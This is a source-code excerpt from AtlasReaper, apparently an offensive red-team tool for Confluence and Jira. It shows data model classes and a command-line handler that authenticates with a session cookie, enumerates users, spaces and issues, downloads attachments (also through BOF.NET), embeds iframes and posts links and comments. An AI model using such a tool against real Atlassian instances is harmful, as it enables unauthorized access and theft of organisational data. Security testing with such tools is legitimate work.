347 |
348 | [JsonProperty("accessLevel")]
349 | internal string AccessLevel { get; set; }
350 |
351 | [JsonProperty("href")]
352 | internal string Href { get; set; }
353 |
354 | [JsonProperty("url")]
355 | internal string Url { get; set; }
356 | }
357 |
358 | internal class Attachment
359 | {
360 | [JsonProperty("filename")]
361 | internal string FileName { get; set; }
362 |
363 | [JsonProperty("id")]
364 | internal string Id { get; set; }
365 |
366 | [JsonProperty("author")]
367 | internal Author Author { get; set; }
368 |
369 | [JsonProperty("created")]
370 | internal string Created { get; set; }
371 |
372 | [JsonProperty("size")]
373 | internal string Size { get; set; }
374 |
375 | [JsonProperty("mimeType")]
376 | internal string mimeType { get; set; }
377 |
378 | [JsonProperty("content")]
379 | internal string Content { get; set; }
380 | }
381 |
382 | internal class Status
383 | {
384 | [JsonProperty("name")]
385 | internal string Name { get; set; }
386 | }
387 |
388 | }
389 |
--------------------------------------------------------------------------------
/AtlasReaper/ArgHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using CommandLine;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using CommandLine.Text;
6 | using AtlasReaper.Options;
7 | using AtlasReaper.Confluence;
8 | using AtlasReaper.Jira;
9 |
10 |
11 | namespace AtlasReaper
12 | {
13 | internal class ArgHandler
14 | {
15 | internal void HandleArgs(string[] args)
16 | {
17 |
18 | if (args.Length == 0)
19 | {
20 | // If no arguments provided, print help and return
21 | PrintHelp();
22 | return;
23 | }
24 |
25 | // Manual parse of first verb
26 | switch (args[0])
27 | {
28 | case "confluence":
29 | Console.WriteLine(logo);
30 | ParseConfluence(args);
31 | break;
32 | case "jira":
33 | Console.WriteLine(logo);
34 | ParseJira(args);
35 | break;
36 | default:
37 | Console.WriteLine($"Unrecognized command: {args[0]}");
38 | PrintHelp();
39 | break;
40 | }
41 |
42 | }
43 |
44 | // Parse arguments for Confluence commands
45 | internal void ParseConfluence(string[] args)
46 | {
47 | Parser parser = new Parser();
48 | Parser.Default.ParseArguments<
49 | ConfluenceOptions.AttachOptions,
50 | ConfluenceOptions.DownloadOptions,
51 | ConfluenceOptions.EmbedOptions,
52 | ConfluenceOptions.LinkOptions,
53 | ConfluenceOptions.ListAttachmentsOptions,
54 | ConfluenceOptions.ListPagesOptions,
55 | ConfluenceOptions.ListSpacesOptions,
56 | ConfluenceOptions.SearchOptions,
57 | ConfluenceOptions.DownloadBOFNETOptions
58 | >(args.Skip(1))
59 | .WithParsed(opts =>
60 | {
61 | try
62 | {
63 |
64 | Auth.CheckAuth(opts.Url, opts.Cookie);
65 | Confluence.Attach attach = new Confluence.Attach();
66 | attach.AttachFile(opts);
67 | }
68 | catch (Exception ex)
69 | {
70 | Console.WriteLine("Error: " + ex.Message);
71 | return;
72 | }
73 |
74 | })
75 | .WithParsed(opts =>
76 | {
77 | try
78 | {
79 |
80 | Auth.CheckAuth(opts.Url, opts.Cookie);
81 | Confluence.Download download = new Confluence.Download();
82 | download.DownloadAttachments(opts);
83 | }
84 | catch (Exception ex)
85 | {
86 | Console.WriteLine("Error: " + ex.Message);
87 | return;
88 | }
89 |
90 | })
91 | .WithParsed(opts =>
92 | {
93 | try
94 | {
95 |
96 | Auth.CheckAuth(opts.Url, opts.Cookie);
97 | Embed embed = new Embed();
98 | embed.EmbedIframe(opts);
99 | }
100 | catch (Exception ex)
101 | {
102 | Console.WriteLine("Error: " + ex.Message);
103 | return;
104 | }
105 |
106 | })
107 | .WithParsed(opts =>
108 | {
109 | try
110 | {
111 |
112 | Auth.CheckAuth(opts.Url, opts.Cookie);
113 | Link link = new Link();
114 | link.AddLink(opts);
115 | }
116 | catch (Exception ex)
117 | {
118 | Console.WriteLine("Error: " + ex.Message);
119 | return;
120 | }
121 |
122 | })
123 | .WithParsed(opts =>
124 | {
125 | try
126 | {
127 |
128 | Auth.CheckAuth(opts.Url, opts.Cookie);
129 | Spaces listSpaces = new Spaces();
130 | listSpaces.ListSpaces(opts);
131 | }
132 | catch (Exception ex)
133 | {
134 | Console.WriteLine("Error: " + ex.Message);
135 | return;
136 | }
137 |
138 | })
139 | .WithParsed(opts =>
140 | {
141 | try
142 | {
143 | Auth.CheckAuth(opts.Url, opts.Cookie);
144 | Pages listPages = new Pages();
145 | listPages.ListPages(opts);
146 | }
147 | catch (Exception ex)
148 | {
149 | Console.WriteLine("Error: " + ex.Message);
150 | return;
151 | }
152 |
153 | })
154 | .WithParsed(opts =>
155 | {
156 | try
157 | {
158 | Auth.CheckAuth(opts.Url, opts.Cookie);
159 | Confluence.Attachments attachments = new Confluence.Attachments();
160 | attachments.ListAttachments(opts);
161 | }
162 | catch (Exception ex)
163 | {
164 | Console.WriteLine("Error: " + ex.Message);
165 | return;
166 | }
167 | })
168 | .WithParsed(opts =>
169 | {
170 | try
171 | {
172 | Auth.CheckAuth(opts.Url, opts.Cookie);
173 | Confluence.Search search = new Confluence.Search();
174 | search.SearchConfluence(opts);
175 | }
176 | catch (Exception ex)
177 | {
178 | Console.WriteLine("Error: " + ex.Message);
179 | return;
180 | }
181 | })
182 | .WithParsed(opts =>
183 | {
184 | try
185 | {
186 |
187 | Auth.CheckAuth(opts.Url, opts.Cookie);
188 | Confluence.DownloadBOFNET download = new Confluence.DownloadBOFNET();
189 | download.DownloadAttachmentsThroughBOFNET(opts);
190 | }
191 | catch (Exception ex)
192 | {
193 | Console.WriteLine("Error: " + ex.Message);
194 | return;
195 | }
196 |
197 | })
198 | .WithNotParsed(HandleParseErrors);
199 | }
200 |
201 | // Parse arguments for Jira commands
202 | private void ParseJira(string[] args)
203 | {
204 |
205 | Parser.Default.ParseArguments<
206 | JiraOptions.AddCommentOptions,
207 | JiraOptions.AttachOptions,
208 | JiraOptions.CreateIssueOptions,
209 | JiraOptions.DownloadOptions,
210 | JiraOptions.ListAttachmentsOptions,
211 | JiraOptions.ListIssuesOptions,
212 | JiraOptions.ListProjectsOptions,
213 | JiraOptions.ListUsersOptions,
214 | JiraOptions.SearchIssuesOptions,
215 | JiraOptions.DownloadBOFNETOptions
216 | >(args.Skip(1))
217 | .WithParsed(opts =>
218 | {
219 | try
220 | {
221 | Auth.CheckAuth(opts.Url, opts.Cookie);
222 | Jira.AddComment addComment = new Jira.AddComment();
223 | addComment.CommentAdd(opts);
224 | }
225 | catch (Exception ex)
226 | {
227 | Console.WriteLine("Error: " + ex.Message);
228 | return;
229 | }
230 |
231 | })
232 | .WithParsed(opts =>
233 | {
234 | try
235 | {
236 | Auth.CheckAuth(opts.Url, opts.Cookie);
237 | Jira.Attach attach = new Jira.Attach();
238 | attach.AttachFile(opts);
239 | }
240 | catch (Exception ex)
241 | {
242 | Console.WriteLine("Error: " + ex.Message);
243 | return;
244 | }
245 |
246 | })
247 | .WithParsed(opts =>
248 | {
249 | try
250 | {
251 | Auth.CheckAuth(opts.Url, opts.Cookie);
252 | Jira.CreateIssue createIssue = new Jira.CreateIssue();
253 | createIssue.CreateIssueM(opts);
254 | }
255 | catch (Exception ex)
256 | {
257 | Console.WriteLine("Error: " + ex.Message);
258 | return;
259 | }
260 |
261 | })
262 | .WithParsed(opts =>
263 | {
264 | try
265 | {
266 | Auth.CheckAuth(opts.Url, opts.Cookie);
267 | Jira.Download download = new Jira.Download();
268 | download.DownloadAttachments(opts);
269 | }
270 | catch (Exception ex)
271 | {
272 | Console.WriteLine("Error: " + ex.Message);
273 | return;
274 | }
275 |
276 | })
277 | .WithParsed(opts =>
278 | {
279 | try
280 | {
281 | Auth.CheckAuth(opts.Url, opts.Cookie);
282 | Jira.Attachments attachments = new Jira.Attachments();
283 | attachments.ListAttachments(opts);
284 | }
285 | catch (Exception ex)
286 | {
287 | Console.WriteLine("Error: " + ex.Message);
288 | return;
289 | }
290 |
291 | })
292 | .WithParsed(opts =>
293 | {
294 | try
295 | {
296 | Auth.CheckAuth(opts.Url, opts.Cookie);
297 | Jira.Search search = new Jira.Search();
298 | search.SearchJira(opts);
299 | }
300 | catch (Exception ex)
301 | {
302 | Console.WriteLine("Error: " + ex.Message);
303 | return;
304 | }
305 |
306 | })
307 | .WithParsed(opts =>
308 | {
309 | try
310 | {
311 | Auth.CheckAuth(opts.Url, opts.Cookie);
312 | Users users = new Users();
313 | users.ListUsers(opts);
314 | }
315 | catch (Exception ex)
316 | {
317 | Console.WriteLine("Error: " + ex.Message);
318 | return;
319 | }
320 | })
321 | .WithParsed(opts =>
322 | {
323 | try
324 | {
325 | Auth.CheckAuth(opts.Url, opts.Cookie);
326 | Issues issues = new Issues();
327 | issues.ListIssues(opts);
328 | }
329 | catch (Exception ex)
330 | {
331 | Console.WriteLine("Error: " + ex.Message);
332 | return;
333 | }
334 | })
335 | .WithParsed(opts =>
336 | {
337 | try
338 | {
339 | Auth.CheckAuth(opts.Url, opts.Cookie);
340 | Projects projects = new Projects();
341 | projects.ListProjects(opts);
342 | }
343 | catch (Exception ex)
344 | {
345 | Console.WriteLine("Error: " + ex.Message);
346 | return;
347 | }
348 | })
349 | .WithParsed(opts =>
350 | {
351 | try
352 | {
353 | Auth.CheckAuth(opts.Url, opts.Cookie);
354 | Jira.DownloadBOFNET download = new Jira.DownloadBOFNET();
355 | download.DownloadAttachmentsThroughBOFNET(opts);
356 | }
357 | catch (Exception ex)
358 | {
359 | Console.WriteLine("Error: " + ex.Message);
360 | return;
361 | }
362 |
363 | })
364 | // Handle errors during argument parsing
365 | .WithNotParsed(HandleParseErrors);
366 |
367 | }
368 |
369 | internal void HandleParseErrors(IEnumerable errs)
370 | {
371 | // Don't need to actually do anything, CommandLineParser already prints error.
372 | return;
373 | }
374 |
375 | // Print Help information
376 | internal void PrintHelp()
377 | {
378 | Console.WriteLine(logo);
379 | Console.WriteLine();
380 | Console.WriteLine("Available commands:");
381 | Console.WriteLine();
382 | Console.WriteLine(" confluence - query confluence");
383 | Console.WriteLine(" jira - query jira");
384 | Console.WriteLine();
385 | return;
386 | }
387 |
388 | public static string logo = @"
389 | .@@@@
390 | @@@@@
391 | @@@@@ @@@@@@@
392 | @@@@@ @@@@@@@@@@@
393 | @@@@@ @@@@@@@@@@@@@@@
394 | @@@@, @@@@ *@@@@
395 | @@@@ @@@ @@ @@@ .@@@
396 | _ _ _ ___ @@@@@@@ @@@@@@
397 | /_\| |_| |__ _ __| _ \___ __ _ _ __ ___ _ _ @@ @@@@@@@@
398 | / _ \ _| / _` (_-< / -_) _` | '_ \/ -_) '_| @@ @@@@@@@@
399 | /_/ \_\__|_\__,_/__/_|_\___\__,_| .__/\___|_| @@@@@@@@ &@
400 | |_| @@@@@@@@@@ @@&
401 | @@@@@@@@@@@@@@@@@
402 | @@@@@@@@@@@@@@@@. @@
403 | @werdhaihai ";
404 | }
405 | }
--------------------------------------------------------------------------------